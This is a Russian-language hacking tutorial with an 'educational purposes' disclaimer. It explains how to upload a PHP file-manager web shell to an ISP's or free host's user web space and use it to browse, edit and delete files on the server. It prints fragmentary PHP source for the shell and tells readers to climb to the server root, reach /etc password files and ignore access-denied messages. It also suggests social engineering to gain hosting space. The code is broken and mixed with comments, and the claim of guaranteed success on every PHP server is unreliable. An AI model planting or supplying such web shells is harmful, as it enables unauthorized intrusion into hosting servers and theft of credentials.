Вся информация в данном документе предоставлена в образовательных
целях. Для того, чтобы показать как плохо защищены пользователи. Авторы не несут
никакой ответственности за действия лиц использующих информацию из данной
статьи. Если вы не согласны с изложенным выше, то немедленно закройте, а затем
удалите данный файл.
Путешествуя по Интернету, мы очень часто наталкивались
на мольбы пользователей дать им халявного интернета. Цель данного хелпа –
показать как «хакеры» используют различные бреши в продукции компании Майкрософт
с целью получения «бесплатного» интеренета, а также научиться защищаться
от данного вида
атак.
Взлом через PHP-скрипт
Данная атака на сервер проходит со 100% гарантией. Для успешной атаки
взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько
весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что
хакеры очень часто проникают в систему используя социнженерию, тоесть изначально
подготавливают жертву, чтобы та им доверяла, получают от неё информацию и
осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое
пространство для хакера не проблема. В крайнем случае можно и купить себе домен
на сервере провайдера или любой другой хостинговой компании, которую хакер
собирается взломать.
В большей части взлому подвержены бесплатные хостинговые компании и
провайдеры, которые при регистрации доступа в интернет дают бесплатное место для
размещение домашней странички пользователя с запуском собственных PHP
скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск
провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать,
редактировать. Для этого нам придётся написать небольшой скрипт, который получит
доступ к ресурсам сервера. Для начала определим какими функциями должен обладать
скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь
просматривать картинки, открывать каталоги, выставлять права доступа к файлам,
знать когда файл был создан в системе, когда файл был изменён, к какой группе
относится файл и выставлять соответствующую иконку для удобства, переходить из
каталога в каталог, указывать полные пути до файлов:
<?php //говорим что это PHP скрипт function cmp( $a, $b )
//обьявляем функции { GLOBAL $sort; //сортируем полученные функции
if( $a->inode == $b->inode ) return 0;
switch( $sort )
//объявляем , что по каким функциям будет сортироваться { case "size":
return ($a->size > $b->size) ? -1 : 1; case "type": return
strcmp($a->type, $b->type); case "view": return
strcmp($a->view, $b->view); case "atime": return ($a->atime
> $b->atime) ? -1 : 1; case "ctime": return ($a->ctime >
$b->ctime) ? -1 : 1; case "mtime": return ($a->mtime >
$b->mtime) ? -1 : 1; case "group": return strcmp($a->group,
$b->group); case "inode": return ($a->inode > $b->inode) ?
-1 : 1; case "owner": return strcmp($a->owner, $b->owner);
case "perms": return ($a->perms > $b->perms) ? -1 : 1; case
"ext": return strcmp($a->ext, $b->ext); case "name": default:
return 1; } }
function getIcons( $ext ) //объявляем функцию
сопоставления иконки с типом файла { switch( $ext ) { case
"dir": $file = "dir"; break; case "link": $file = "link";
break; case "zip": case "tgz": case "gz": case "Z":
$file = "compressed"; break; case "gif": case "jpg": $file =
"image2"; break; case "dvi": $file = "dvi"; break; case "":
case "exe": $file = "binary"; break; case "sh": case "php":
case "php3": case "sql": case "inc": case "js": $file =
"script"; break; case "txt": $file = "text"; break; case
"html": case "shtml": case "phtml": $file = "world1"; break;
default: $file = "generic"; break; }
return
$IMG="<IMG SRC='icons/".$file.".gif'>"; }
class MyFile {
//объявляем какие данные будут получены var $name; var $path; var
$type; var $ext; var $stype; var $sfile; var $size; var
$file; var $atime; var $ctime; var $mtime; var $group; var
$inode; var $owner; var $perms;
function set( $filename, $path )
{ GLOBAL $cd; //объявляем функции перехода по каталогам
$d = dir($path); echo "\n";
echo "<br><a href=$ref >Вернуться в начало</a>\n";
//ссылка на возврат в домашнею директорию скрипта $updir =
updir($d->path); if( $updir != "." ) echo "<br>Подняться на
директорию вверх; <a href=$ref?cd=$updir>$updir</a>\n"; //ссылка на
директорию вверх echo "<br>Открыть директорию: <a
href=$ref?cd=".$d->path."/..>..</a>\n"; //обновление текущей
директории echo "<br>Текущая директория:
<b>".$d->path."</b>\n"; //показываем путь до директории и файлов,
которые в ней находятся
Вот реализация скрипта, который позволяет вам получить доступ в каталоги
провайдера, содержащиеся у него на винчестере. Потенциальная опасность
применения данного скрипта в том, что злоумышленник получает практически всю
информацию о сервере, также злоумышленник получает доступ к папки etc, где
хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости
было выявлено, что все сервера, на которых разрешён запуск PHP оказались
подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам
разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию
скрипт просматривает все находящиеся файлы в той директории, куда он был
загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку
"Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог
сервера. При выходе из вашей директории скрипт возможно сообщит вам о
невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и
жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о
том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас
пропустят.